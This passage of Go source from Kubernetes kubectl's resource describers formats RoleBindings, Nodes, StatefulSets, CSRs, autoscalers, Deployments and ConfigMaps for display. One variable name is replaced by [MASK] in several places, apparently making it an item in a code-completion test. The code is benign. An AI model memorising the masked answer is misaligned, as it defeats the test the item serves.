metav1.GetOptions{}) if err != nil { return """", err } return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", binding.Name) printLabelsMultiline(w, ""Labels"", binding.Labels) printAnnotationsMultiline(w, ""Annotations"", binding.Annotations) w.Write(LEVEL_0, ""Role:\n"") w.Write(LEVEL_1, ""Kind:\t%s\n"", binding.RoleRef.Kind) w.Write(LEVEL_1, ""Name:\t%s\n"", binding.RoleRef.Name) w.Write(LEVEL_0, ""Subjects:\n"") w.Write(LEVEL_1, ""Kind\tName\tNamespace\n"") w.Write(LEVEL_1, ""----\t----\t---------\n"") for _, s := range binding.Subjects { w.Write(LEVEL_1, ""%s\t%s\t%s\n"", s.Kind, s.Name, s.Namespace) } return nil }) } // ClusterRoleBindingDescriber generates information about a node. type ClusterRoleBindingDescriber struct { clientset.Interface } func (d *ClusterRoleBindingDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { binding, err := d.RbacV1().ClusterRoleBindings().Get(name, metav1.GetOptions{}) if err != nil { return """", err } return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", binding.Name) printLabelsMultiline(w, ""Labels"", binding.Labels) printAnnotationsMultiline(w, ""Annotations"", binding.Annotations) w.Write(LEVEL_0, ""Role:\n"") w.Write(LEVEL_1, ""Kind:\t%s\n"", binding.RoleRef.Kind) w.Write(LEVEL_1, ""Name:\t%s\n"", binding.RoleRef.Name) w.Write(LEVEL_0, ""Subjects:\n"") w.Write(LEVEL_1, ""Kind\tName\tNamespace\n"") w.Write(LEVEL_1, ""----\t----\t---------\n"") for _, s := range binding.Subjects { w.Write(LEVEL_1, ""%s\t%s\t%s\n"", s.Kind, s.Name, s.Namespace) } return nil }) } // NodeDescriber generates information about a node. type NodeDescriber struct { clientset.Interface } func (d *NodeDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { mc := d.CoreV1().Nodes() node, err := mc.Get(name, metav1.GetOptions{}) if err != nil { return """", err } fieldSelector, err := fields.ParseSelector(""spec.nodeName="" + name + "",status.phase!="" + string(corev1.PodSucceeded) + "",status.phase!="" + string(corev1.PodFailed)) if err != nil { return """", err } // in a policy aware setting, users may have access to a node, but not all pods // in that case, we note that the user does not have access to the pods canViewPods := true nodeNonTerminatedPodsList, err := d.CoreV1().Pods(namespace).List(metav1.ListOptions{FieldSelector: fieldSelector.String()}) if err != nil { if !errors.IsForbidden(err) { return """", err } canViewPods = false } var events *corev1.EventList if describerSettings.ShowEvents { if ref, err := reference.GetReference(scheme.Scheme, node); err != nil { klog.Errorf(""Unable to construct reference to '%#v': %v"", node, err) } else { // TODO: We haven't decided the namespace for Node object yet. ref.UID = types.UID(ref.Name) events, _ = d.CoreV1().Events("""").Search(scheme.Scheme, ref) } } return describeNode(node, nodeNonTerminatedPodsList, events, canViewPods) } func describeNode(node *corev1.Node, nodeNonTerminatedPodsList *corev1.PodList, events *corev1.EventList, canViewPods bool) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", node.Name) if roles := findNodeRoles(node); len(roles) > 0 { w.Write(LEVEL_0, ""Roles:\t%s\n"", strings.Join(roles, "","")) } else { w.Write(LEVEL_0, ""Roles:\t%s\n"", """") } printLabelsMultiline(w, ""Labels"", node.Labels) printAnnotationsMultiline(w, ""Annotations"", node.Annotations) w.Write(LEVEL_0, ""CreationTimestamp:\t%s\n"", node.CreationTimestamp.Time.Format(time.RFC1123Z)) printNodeTaintsMultiline(w, ""Taints"", node.Spec.Taints) w.Write(LEVEL_0, ""Unschedulable:\t%v\n"", node.Spec.Unschedulable) if len(node.Status.Conditions) > 0 { w.Write(LEVEL_0, ""Conditions:\n Type\tStatus\tLastHeartbeatTime\tLastTransitionTime\tReason\tMessage\n"") w.Write(LEVEL_1, ""----\t------\t-----------------\t------------------\t------\t-------\n"") for _, c := range node.Status.Conditions { w.Write(LEVEL_1, ""%v \t%v \t%s \t%s \t%v \t%v\n"", c.Type, c.Status, c.LastHeartbeatTime.Time.Format(time.RFC1123Z), c.LastTransitionTime.Time.Format(time.RFC1123Z), c.Reason, c.Message) } } w.Write(LEVEL_0, ""Addresses:\n"") for _, address := range node.Status.Addresses { w.Write(LEVEL_1, ""%s:\t%s\n"", address.Type, address.Address) } printResourceList := func(resourceList corev1.ResourceList) { resources := make([]corev1.ResourceName, 0, len(resourceList)) for resource := range resourceList { resources = append(resources, resource) } sort.Sort(SortableResourceNames(resources)) for _, resource := range resources { value := resourceList[resource] w.Write(LEVEL_0, "" %s:\t%s\n"", resource, value.String()) } } if len(node.Status.Capacity) > 0 { w.Write(LEVEL_0, ""Capacity:\n"") printResourceList(node.Status.Capacity) } if len(node.Status.Allocatable) > 0 { w.Write(LEVEL_0, ""Allocatable:\n"") printResourceList(node.Status.Allocatable) } w.Write(LEVEL_0, ""System Info:\n"") w.Write(LEVEL_0, "" Machine ID:\t%s\n"", node.Status.NodeInfo.MachineID) w.Write(LEVEL_0, "" System UUID:\t%s\n"", node.Status.NodeInfo.SystemUUID) w.Write(LEVEL_0, "" Boot ID:\t%s\n"", node.Status.NodeInfo.BootID) w.Write(LEVEL_0, "" Kernel Version:\t%s\n"", node.Status.NodeInfo.KernelVersion) w.Write(LEVEL_0, "" OS Image:\t%s\n"", node.Status.NodeInfo.OSImage) w.Write(LEVEL_0, "" Operating System:\t%s\n"", node.Status.NodeInfo.OperatingSystem) w.Write(LEVEL_0, "" Architecture:\t%s\n"", node.Status.NodeInfo.Architecture) w.Write(LEVEL_0, "" Container Runtime Version:\t%s\n"", node.Status.NodeInfo.ContainerRuntimeVersion) w.Write(LEVEL_0, "" Kubelet Version:\t%s\n"", node.Status.NodeInfo.KubeletVersion) w.Write(LEVEL_0, "" Kube-Proxy Version:\t%s\n"", node.Status.NodeInfo.KubeProxyVersion) // remove when .PodCIDR is depreciated if len(node.Spec.PodCIDR) > 0 { w.Write(LEVEL_0, ""PodCIDR:\t%s\n"", node.Spec.PodCIDR) } if len(node.Spec.PodCIDRs) > 0 { w.Write(LEVEL_0, ""PodCIDRs:\t%s\n"", strings.Join(node.Spec.PodCIDRs, "","")) } if len(node.Spec.ProviderID) > 0 { w.Write(LEVEL_0, ""ProviderID:\t%s\n"", node.Spec.ProviderID) } if canViewPods && nodeNonTerminatedPodsList != nil { describeNodeResource(nodeNonTerminatedPodsList, node, w) } else { w.Write(LEVEL_0, ""Pods:\tnot authorized\n"") } if events != nil { DescribeEvents(events, w) } return nil }) } type StatefulSetDescriber struct { client clientset.Interface } func (p *StatefulSetDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { ps, err := p.client.AppsV1().StatefulSets(namespace).Get(name, metav1.GetOptions{}) if err != nil { return """", err } pc := p.client.CoreV1().Pods(namespace) selector, err := metav1.LabelSelectorAsSelector(ps.Spec.Selector) if err != nil { return """", err } running, waiting, succeeded, failed, err := getPodStatusForController(pc, selector, ps.UID) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = p.client.CoreV1().Events(namespace).Search(scheme.Scheme, ps) } return describeStatefulSet(ps, selector, events, running, waiting, succeeded, failed) } func describeStatefulSet(ps *appsv1.StatefulSet, selector labels.Selector, events *corev1.EventList, running, waiting, succeeded, failed int) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", ps.ObjectMeta.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", ps.ObjectMeta.Namespace) w.Write(LEVEL_0, ""CreationTimestamp:\t%s\n"", ps.CreationTimestamp.Time.Format(time.RFC1123Z)) w.Write(LEVEL_0, ""Selector:\t%s\n"", selector) printLabelsMultiline(w, ""Labels"", ps.Labels) printAnnotationsMultiline(w, ""Annotations"", ps.Annotations) w.Write(LEVEL_0, ""Replicas:\t%d desired | %d total\n"", *ps.Spec.Replicas, ps.Status.Replicas) w.Write(LEVEL_0, ""Update Strategy:\t%s\n"", ps.Spec.UpdateStrategy.Type) if ps.Spec.UpdateStrategy.RollingUpdate != nil { ru := ps.Spec.UpdateStrategy.RollingUpdate if ru.Partition != nil { w.Write(LEVEL_1, ""Partition:\t%d\n"", ru.Partition) } } w.Write(LEVEL_0, ""Pods Status:\t%d Running / %d Waiting / %d Succeeded / %d Failed\n"", running, waiting, succeeded, failed) DescribePodTemplate(&ps.Spec.Template, w) describeVolumeClaimTemplates(ps.Spec.VolumeClaimTemplates, w) if events != nil { DescribeEvents(events, w) } return nil }) } type CertificateSigningRequestDescriber struct { client clientset.Interface } func (p *CertificateSigningRequestDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { csr, err := p.client.CertificatesV1beta1().CertificateSigningRequests().Get(name, metav1.GetOptions{}) if err != nil { return """", err } cr, err := certificate.ParseCSR(csr) if err != nil { return """", fmt.Errorf(""Error parsing CSR: %v"", err) } status, err := extractCSRStatus(csr) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = p.client.CoreV1().Events(namespace).Search(scheme.Scheme, csr) } return describeCertificateSigningRequest(csr, cr, status, events) } func describeCertificateSigningRequest(csr *certificatesv1beta1.CertificateSigningRequest, cr *x509.CertificateRequest, status string, events *corev1.EventList) (string, error) { printListHelper := func(w PrefixWriter, prefix, name string, values []string) { if len(values) == 0 { return } w.Write(LEVEL_0, prefix+name+"":\t"") w.Write(LEVEL_0, strings.Join(values, ""\n""+prefix+""\t"")) w.Write(LEVEL_0, ""\n"") } return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", csr.Name) w.Write(LEVEL_0, ""Labels:\t%s\n"", labels.FormatLabels(csr.Labels)) w.Write(LEVEL_0, ""Annotations:\t%s\n"", labels.FormatLabels(csr.Annotations)) w.Write(LEVEL_0, ""CreationTimestamp:\t%s\n"", csr.CreationTimestamp.Time.Format(time.RFC1123Z)) w.Write(LEVEL_0, ""Requesting User:\t%s\n"", csr.Spec.Username) w.Write(LEVEL_0, ""Status:\t%s\n"", status) w.Write(LEVEL_0, ""Subject:\n"") w.Write(LEVEL_0, ""\tCommon Name:\t%s\n"", cr.Subject.CommonName) w.Write(LEVEL_0, ""\tSerial Number:\t%s\n"", cr.Subject.SerialNumber) printListHelper(w, ""\t"", ""Organization"", cr.Subject.Organization) printListHelper(w, ""\t"", ""Organizational Unit"", cr.Subject.OrganizationalUnit) printListHelper(w, ""\t"", ""Country"", cr.Subject.Country) printListHelper(w, ""\t"", ""Locality"", cr.Subject.Locality) printListHelper(w, ""\t"", ""Province"", cr.Subject.Province) printListHelper(w, ""\t"", ""StreetAddress"", cr.Subject.StreetAddress) printListHelper(w, ""\t"", ""PostalCode"", cr.Subject.PostalCode) if len(cr.DNSNames)+len(cr.EmailAddresses)+len(cr.IPAddresses) > 0 { w.Write(LEVEL_0, ""Subject Alternative Names:\n"") printListHelper(w, ""\t"", ""DNS Names"", cr.DNSNames) printListHelper(w, ""\t"", ""Email Addresses"", cr.EmailAddresses) var ipaddrs []string for _, ipaddr := range cr.IPAddresses { ipaddrs = append(ipaddrs, ipaddr.String()) } printListHelper(w, ""\t"", ""IP Addresses"", ipaddrs) } if events != nil { DescribeEvents(events, w) } return nil }) } // HorizontalPodAutoscalerDescriber generates information about a horizontal pod autoscaler. type HorizontalPodAutoscalerDescriber struct { client clientset.Interface } func (d *HorizontalPodAutoscalerDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { var events *corev1.EventList // autoscaling/v2beta2 is introduced since v1.12 and autoscaling/v1 does not have full backward compatibility // with autoscaling/v2beta2, so describer will try to get and describe hpa v2beta2 object firstly, if it fails, // describer will fall back to do with hpa v1 object hpaV2beta2, err := d.client.AutoscalingV2beta2().HorizontalPodAutoscalers(namespace).Get(name, metav1.GetOptions{}) if err == nil { if describerSettings.ShowEvents { events, _ = d.client.CoreV1().Events(namespace).Search(scheme.Scheme, hpaV2beta2) } return describeHorizontalPodAutoscalerV2beta2(hpaV2beta2, events, d) } hpaV1, err := d.client.AutoscalingV1().HorizontalPodAutoscalers(namespace).Get(name, metav1.GetOptions{}) if err == nil { if describerSettings.ShowEvents { events, _ = d.client.CoreV1().Events(namespace).Search(scheme.Scheme, hpaV1) } return describeHorizontalPodAutoscalerV1(hpaV1, events, d) } return """", err } func describeHorizontalPodAutoscalerV2beta2(hpa *autoscalingv2beta2.HorizontalPodAutoscaler, events *corev1.EventList, d *HorizontalPodAutoscalerDescriber) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", hpa.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", hpa.Namespace) printLabelsMultiline(w, ""Labels"", hpa.Labels) printAnnotationsMultiline(w, ""Annotations"", hpa.Annotations) w.Write(LEVEL_0, ""CreationTimestamp:\t%s\n"", hpa.CreationTimestamp.Time.Format(time.RFC1123Z)) w.Write(LEVEL_0, ""Reference:\t%s/%s\n"", hpa.Spec.ScaleTargetRef.Kind, hpa.Spec.ScaleTargetRef.Name) w.Write(LEVEL_0, ""Metrics:\t( current / target )\n"") for i, metric := range hpa.Spec.Metrics { switch metric.Type { case autoscalingv2beta2.ExternalMetricSourceType: if metric.External.Target.AverageValue != nil { current := """" if len(hpa.Status.CurrentMetrics) > i && hpa.Status.CurrentMetrics[i].External != nil && hpa.Status.CurrentMetrics[i].External.Current.AverageValue != nil { current = hpa.Status.CurrentMetrics[i].External.Current.AverageValue.String() } w.Write(LEVEL_1, ""%q (target average value):\t%s / %s\n"", metric.External.Metric.Name, current, metric.External.Target.AverageValue.String()) } else { current := """" if len(hpa.Status.CurrentMetrics) > i && hpa.Status.CurrentMetrics[i].External != nil { current = hpa.Status.CurrentMetrics[i].External.Current.Value.String() } w.Write(LEVEL_1, ""%q (target value):\t%s / %s\n"", metric.External.Metric.Name, current, metric.External.Target.Value.String()) } case autoscalingv2beta2.PodsMetricSourceType: current := """" if len(hpa.Status.CurrentMetrics) > i && hpa.Status.CurrentMetrics[i].Pods != nil { current = hpa.Status.CurrentMetrics[i].Pods.Current.AverageValue.String() } w.Write(LEVEL_1, ""%q on pods:\t%s / %s\n"", metric.Pods.Metric.Name, current, metric.Pods.Target.AverageValue.String()) case autoscalingv2beta2.ObjectMetricSourceType: w.Write(LEVEL_1, ""\""%s\"" on %s/%s "", metric.Object.Metric.Name, metric.Object.DescribedObject.Kind, metric.Object.DescribedObject.Name) if metric.Object.Target.Type == autoscalingv2beta2.AverageValueMetricType { current := """" if len(hpa.Status.CurrentMetrics) > i && hpa.Status.CurrentMetrics[i].Object != nil { current = hpa.Status.CurrentMetrics[i].Object.Current.AverageValue.String() } w.Write(LEVEL_0, ""(target average value):\t%s / %s\n"", current, metric.Object.Target.AverageValue.String()) } else { current := """" if len(hpa.Status.CurrentMetrics) > i && hpa.Status.CurrentMetrics[i].Object != nil { current = hpa.Status.CurrentMetrics[i].Object.Current.Value.String() } w.Write(LEVEL_0, ""(target value):\t%s / %s\n"", current, metric.Object.Target.Value.String()) } case autoscalingv2beta2.ResourceMetricSourceType: w.Write(LEVEL_1, ""resource %s on pods"", string(metric.Resource.Name)) if metric.Resource.Target.AverageValue != nil { current := """" if len(hpa.Status.CurrentMetrics) > i && hpa.Status.CurrentMetrics[i].Resource != nil { current = hpa.Status.CurrentMetrics[i].Resource.Current.AverageValue.String() } w.Write(LEVEL_0, "":\t%s / %s\n"", current, metric.Resource.Target.AverageValue.String()) } else { current := """" if len(hpa.Status.CurrentMetrics) > i && hpa.Status.CurrentMetrics[i].Resource != nil && hpa.Status.CurrentMetrics[i].Resource.Current.AverageUtilization != nil { current = fmt.Sprintf(""%d%% (%s)"", *hpa.Status.CurrentMetrics[i].Resource.Current.AverageUtilization, hpa.Status.CurrentMetrics[i].Resource.Current.AverageValue.String()) } target := """" if metric.Resource.Target.AverageUtilization != nil { target = fmt.Sprintf(""%d%%"", *metric.Resource.Target.AverageUtilization) } w.Write(LEVEL_1, ""(as a percentage of request):\t%s / %s\n"", current, target) } default: w.Write(LEVEL_1, """", string(metric.Type)) } } minReplicas := """" if hpa.Spec.MinReplicas != nil { minReplicas = fmt.Sprintf(""%d"", *hpa.Spec.MinReplicas) } w.Write(LEVEL_0, ""Min replicas:\t%s\n"", minReplicas) w.Write(LEVEL_0, ""Max replicas:\t%d\n"", hpa.Spec.MaxReplicas) w.Write(LEVEL_0, ""%s pods:\t"", hpa.Spec.ScaleTargetRef.Kind) w.Write(LEVEL_0, ""%d current / %d desired\n"", hpa.Status.CurrentReplicas, hpa.Status.DesiredReplicas) if len(hpa.Status.Conditions) > 0 { w.Write(LEVEL_0, ""Conditions:\n"") w.Write(LEVEL_1, ""Type\tStatus\tReason\tMessage\n"") w.Write(LEVEL_1, ""----\t------\t------\t-------\n"") for _, c := range hpa.Status.Conditions { w.Write(LEVEL_1, ""%v\t%v\t%v\t%v\n"", c.Type, c.Status, c.Reason, c.Message) } } if events != nil { DescribeEvents(events, w) } return nil }) } func describeHorizontalPodAutoscalerV1(hpa *autoscalingv1.HorizontalPodAutoscaler, events *corev1.EventList, d *HorizontalPodAutoscalerDescriber) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", hpa.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", hpa.Namespace) printLabelsMultiline(w, ""Labels"", hpa.Labels) printAnnotationsMultiline(w, ""Annotations"", hpa.Annotations) w.Write(LEVEL_0, ""CreationTimestamp:\t%s\n"", hpa.CreationTimestamp.Time.Format(time.RFC1123Z)) w.Write(LEVEL_0, ""Reference:\t%s/%s\n"", hpa.Spec.ScaleTargetRef.Kind, hpa.Spec.ScaleTargetRef.Name) if hpa.Spec.TargetCPUUtilizationPercentage != nil { w.Write(LEVEL_0, ""Target CPU utilization:\t%d%%\n"", *hpa.Spec.TargetCPUUtilizationPercentage) current := """" if hpa.Status.CurrentCPUUtilizationPercentage != nil { current = fmt.Sprintf(""%d"", *hpa.Status.CurrentCPUUtilizationPercentage) } w.Write(LEVEL_0, ""Current CPU utilization:\t%s%%\n"", current) } minReplicas := """" if hpa.Spec.MinReplicas != nil { minReplicas = fmt.Sprintf(""%d"", *hpa.Spec.MinReplicas) } w.Write(LEVEL_0, ""Min replicas:\t%s\n"", minReplicas) w.Write(LEVEL_0, ""Max replicas:\t%d\n"", hpa.Spec.MaxReplicas) w.Write(LEVEL_0, ""%s pods:\t"", hpa.Spec.ScaleTargetRef.Kind) w.Write(LEVEL_0, ""%d current / %d desired\n"", hpa.Status.CurrentReplicas, hpa.Status.DesiredReplicas) if events != nil { DescribeEvents(events, w) } return nil }) } func describeNodeResource(nodeNonTerminatedPodsList *corev1.PodList, node *corev1.Node, w PrefixWriter) { w.Write(LEVEL_0, ""Non-terminated Pods:\t(%d in total)\n"", len(nodeNonTerminatedPodsList.Items)) w.Write(LEVEL_1, ""Namespace\tName\t\tCPU Requests\tCPU Limits\tMemory Requests\tMemory Limits\tAGE\n"") w.Write(LEVEL_1, ""---------\t----\t\t------------\t----------\t---------------\t-------------\t---\n"") allocatable := node.Status.Capacity if len(node.Status.Allocatable) > 0 { allocatable = node.Status.Allocatable } for _, pod := range nodeNonTerminatedPodsList.Items { req, limit := resourcehelper.PodRequestsAndLimits(&pod) cpuReq, cpuLimit, memoryReq, memoryLimit := req[corev1.ResourceCPU], limit[corev1.ResourceCPU], req[corev1.ResourceMemory], limit[corev1.ResourceMemory] fractionCpuReq := float64(cpuReq.MilliValue()) / float64(allocatable.Cpu().MilliValue()) * 100 fractionCpuLimit := float64(cpuLimit.MilliValue()) / float64(allocatable.Cpu().MilliValue()) * 100 fractionMemoryReq := float64(memoryReq.Value()) / float64(allocatable.Memory().Value()) * 100 fractionMemoryLimit := float64(memoryLimit.Value()) / float64(allocatable.Memory().Value()) * 100 w.Write(LEVEL_1, ""%s\t%s\t\t%s (%d%%)\t%s (%d%%)\t%s (%d%%)\t%s (%d%%)\t%s\n"", pod.Namespace, pod.Name, cpuReq.String(), int64(fractionCpuReq), cpuLimit.String(), int64(fractionCpuLimit), memoryReq.String(), int64(fractionMemoryReq), memoryLimit.String(), int64(fractionMemoryLimit), translateTimestampSince(pod.CreationTimestamp)) } w.Write(LEVEL_0, ""Allocated resources:\n (Total limits may be over 100 percent, i.e., overcommitted.)\n"") w.Write(LEVEL_1, ""Resource\tRequests\tLimits\n"") w.Write(LEVEL_1, ""--------\t--------\t------\n"") reqs, limits := getPodsTotalRequestsAndLimits(nodeNonTerminatedPodsList) [MASK] , cpuLimits, memoryReqs, memoryLimits, ephemeralstorageReqs, ephemeralstorageLimits := reqs[corev1.ResourceCPU], limits[corev1.ResourceCPU], reqs[corev1.ResourceMemory], limits[corev1.ResourceMemory], reqs[corev1.ResourceEphemeralStorage], limits[corev1.ResourceEphemeralStorage] fractionCpuReqs := float64(0) fractionCpuLimits := float64(0) if allocatable.Cpu().MilliValue() != 0 { fractionCpuReqs = float64( [MASK] .MilliValue()) / float64(allocatable.Cpu().MilliValue()) * 100 fractionCpuLimits = float64(cpuLimits.MilliValue()) / float64(allocatable.Cpu().MilliValue()) * 100 } fractionMemoryReqs := float64(0) fractionMemoryLimits := float64(0) if allocatable.Memory().Value() != 0 { fractionMemoryReqs = float64(memoryReqs.Value()) / float64(allocatable.Memory().Value()) * 100 fractionMemoryLimits = float64(memoryLimits.Value()) / float64(allocatable.Memory().Value()) * 100 } fractionEphemeralStorageReqs := float64(0) fractionEphemeralStorageLimits := float64(0) if allocatable.StorageEphemeral().Value() != 0 { fractionEphemeralStorageReqs = float64(ephemeralstorageReqs.Value()) / float64(allocatable.StorageEphemeral().Value()) * 100 fractionEphemeralStorageLimits = float64(ephemeralstorageLimits.Value()) / float64(allocatable.StorageEphemeral().Value()) * 100 } w.Write(LEVEL_1, ""%s\t%s (%d%%)\t%s (%d%%)\n"", corev1.ResourceCPU, [MASK] .String(), int64(fractionCpuReqs), cpuLimits.String(), int64(fractionCpuLimits)) w.Write(LEVEL_1, ""%s\t%s (%d%%)\t%s (%d%%)\n"", corev1.ResourceMemory, memoryReqs.String(), int64(fractionMemoryReqs), memoryLimits.String(), int64(fractionMemoryLimits)) w.Write(LEVEL_1, ""%s\t%s (%d%%)\t%s (%d%%)\n"", corev1.ResourceEphemeralStorage, ephemeralstorageReqs.String(), int64(fractionEphemeralStorageReqs), ephemeralstorageLimits.String(), int64(fractionEphemeralStorageLimits)) extResources := make([]string, 0, len(allocatable)) for resource := range allocatable { if !resourcehelper.IsStandardContainerResourceName(string(resource)) && resource != corev1.ResourcePods { extResources = append(extResources, string(resource)) } } sort.Strings(extResources) for _, ext := range extResources { extRequests, extLimits := reqs[corev1.ResourceName(ext)], limits[corev1.ResourceName(ext)] w.Write(LEVEL_1, ""%s\t%s\t%s\n"", ext, extRequests.String(), extLimits.String()) } } func getPodsTotalRequestsAndLimits(podList *corev1.PodList) (reqs map[corev1.ResourceName]resource.Quantity, limits map[corev1.ResourceName]resource.Quantity) { reqs, limits = map[corev1.ResourceName]resource.Quantity{}, map[corev1.ResourceName]resource.Quantity{} for _, pod := range podList.Items { podReqs, podLimits := resourcehelper.PodRequestsAndLimits(&pod) for podReqName, podReqValue := range podReqs { if value, ok := reqs[podReqName]; !ok { reqs[podReqName] = podReqValue.DeepCopy() } else { value.Add(podReqValue) reqs[podReqName] = value } } for podLimitName, podLimitValue := range podLimits { if value, ok := limits[podLimitName]; !ok { limits[podLimitName] = podLimitValue.DeepCopy() } else { value.Add(podLimitValue) limits[podLimitName] = value } } } return } func DescribeEvents(el *corev1.EventList, w PrefixWriter) { if len(el.Items) == 0 { w.Write(LEVEL_0, ""Events:\t\n"") return } w.Flush() sort.Sort(event.SortableEvents(el.Items)) w.Write(LEVEL_0, ""Events:\n Type\tReason\tAge\tFrom\tMessage\n"") w.Write(LEVEL_1, ""----\t------\t----\t----\t-------\n"") for _, e := range el.Items { var interval string if e.Count > 1 { interval = fmt.Sprintf(""%s (x%d over %s)"", translateTimestampSince(e.LastTimestamp), e.Count, translateTimestampSince(e.FirstTimestamp)) } else { interval = translateTimestampSince(e.FirstTimestamp) } w.Write(LEVEL_1, ""%v\t%v\t%s\t%v\t%v\n"", e.Type, e.Reason, interval, formatEventSource(e.Source), strings.TrimSpace(e.Message), ) } } // DeploymentDescriber generates information about a deployment. type DeploymentDescriber struct { client clientset.Interface } func (dd *DeploymentDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { d, err := dd.client.AppsV1().Deployments(namespace).Get(name, metav1.GetOptions{}) if err != nil { return """", err } selector, err := metav1.LabelSelectorAsSelector(d.Spec.Selector) if err != nil { return """", err } var events *corev1.EventList if describerSettings.ShowEvents { events, _ = dd.client.CoreV1().Events(namespace).Search(scheme.Scheme, d) } return describeDeployment(d, selector, d, events, dd) } func describeDeployment(d *appsv1.Deployment, selector labels.Selector, internalDeployment *appsv1.Deployment, events *corev1.EventList, dd *DeploymentDescriber) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", d.ObjectMeta.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", d.ObjectMeta.Namespace) w.Write(LEVEL_0, ""CreationTimestamp:\t%s\n"", d.CreationTimestamp.Time.Format(time.RFC1123Z)) printLabelsMultiline(w, ""Labels"", d.Labels) printAnnotationsMultiline(w, ""Annotations"", d.Annotations) w.Write(LEVEL_0, ""Selector:\t%s\n"", selector) w.Write(LEVEL_0, ""Replicas:\t%d desired | %d updated | %d total | %d available | %d unavailable\n"", *(d.Spec.Replicas), d.Status.UpdatedReplicas, d.Status.Replicas, d.Status.AvailableReplicas, d.Status.UnavailableReplicas) w.Write(LEVEL_0, ""StrategyType:\t%s\n"", d.Spec.Strategy.Type) w.Write(LEVEL_0, ""MinReadySeconds:\t%d\n"", d.Spec.MinReadySeconds) if d.Spec.Strategy.RollingUpdate != nil { ru := d.Spec.Strategy.RollingUpdate w.Write(LEVEL_0, ""RollingUpdateStrategy:\t%s max unavailable, %s max surge\n"", ru.MaxUnavailable.String(), ru.MaxSurge.String()) } DescribePodTemplate(&internalDeployment.Spec.Template, w) if len(d.Status.Conditions) > 0 { w.Write(LEVEL_0, ""Conditions:\n Type\tStatus\tReason\n"") w.Write(LEVEL_1, ""----\t------\t------\n"") for _, c := range d.Status.Conditions { w.Write(LEVEL_1, ""%v \t%v\t%v\n"", c.Type, c.Status, c.Reason) } } oldRSs, _, newRS, err := deploymentutil.GetAllReplicaSets(d, dd.client.AppsV1()) if err == nil { w.Write(LEVEL_0, ""OldReplicaSets:\t%s\n"", printReplicaSetsByLabels(oldRSs)) var newRSs []*appsv1.ReplicaSet if newRS != nil { newRSs = append(newRSs, newRS) } w.Write(LEVEL_0, ""NewReplicaSet:\t%s\n"", printReplicaSetsByLabels(newRSs)) } if events != nil { DescribeEvents(events, w) } return nil }) } func printReplicaSetsByLabels(matchingRSs []*appsv1.ReplicaSet) string { // Format the matching ReplicaSets into strings. rsStrings := make([]string, 0, len(matchingRSs)) for _, rs := range matchingRSs { rsStrings = append(rsStrings, fmt.Sprintf(""%s (%d/%d replicas created)"", rs.Name, rs.Status.Replicas, *rs.Spec.Replicas)) } list := strings.Join(rsStrings, "", "") if list == """" { return """" } return list } func getPodStatusForController(c corev1client.PodInterface, selector labels.Selector, uid types.UID) (running, waiting, succeeded, failed int, err error) { options := metav1.ListOptions{LabelSelector: selector.String()} rcPods, err := c.List(options) if err != nil { return } for _, pod := range rcPods.Items { controllerRef := metav1.GetControllerOf(&pod) // Skip pods that are orphans or owned by other controllers. if controllerRef == nil || controllerRef.UID != uid { continue } switch pod.Status.Phase { case corev1.PodRunning: running++ case corev1.PodPending: waiting++ case corev1.PodSucceeded: succeeded++ case corev1.PodFailed: failed++ } } return } // ConfigMapDescriber generates information about a ConfigMap type ConfigMapDescriber struct { clientset.Interface } func (d *ConfigMapDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { c := d.CoreV1().ConfigMaps(namespace) configMap, err := c.Get(name, metav1.GetOptions{}) if err != nil { return """", err } return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", configMap.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", configMap.Namespace) printLabelsMultiline(w, ""Labels"", configMap.Labels) printAnnotationsMultiline(w, ""Annotations"", configMap.Annotations) w.Write(LEVEL_0, ""\nData\n====\n"") for k, v := range configMap.Data { w.Write(LEVEL_0, ""%s:\n----\n"", k) w.Write(LEVEL_0, ""%s\n"", string(v)) } if describerSettings.ShowEvents { events, err := d.CoreV1().Events(namespace).Search(scheme.Scheme, configMap) if err != nil { return err } if events != nil { DescribeEvents(events, w) } } return nil }) } // NetworkPolicyDescriber generates information about a networkingv1.NetworkPolicy type NetworkPolicyDescriber struct { clientset.Interface } func (d *NetworkPolicyDescriber) Describe(namespace, name string, describerSettings describe.DescriberSettings) (string, error) { c := d.NetworkingV1().NetworkPolicies(namespace) networkPolicy, err := c.Get(name, metav1.GetOptions{}) if err != nil { return """", err } return describeNetworkPolicy(networkPolicy) } func describeNetworkPolicy(networkPolicy *networkingv1.NetworkPolicy) (string, error) { return tabbedString(func(out io.Writer) error { w := NewPrefixWriter(out) w.Write(LEVEL_0, ""Name:\t%s\n"", networkPolicy.Name) w.Write(LEVEL_0, ""Namespace:\t%s\n"", networkPolicy.Namespace) w.Write(LEVEL_0, ""Created on:\t%s\n"", 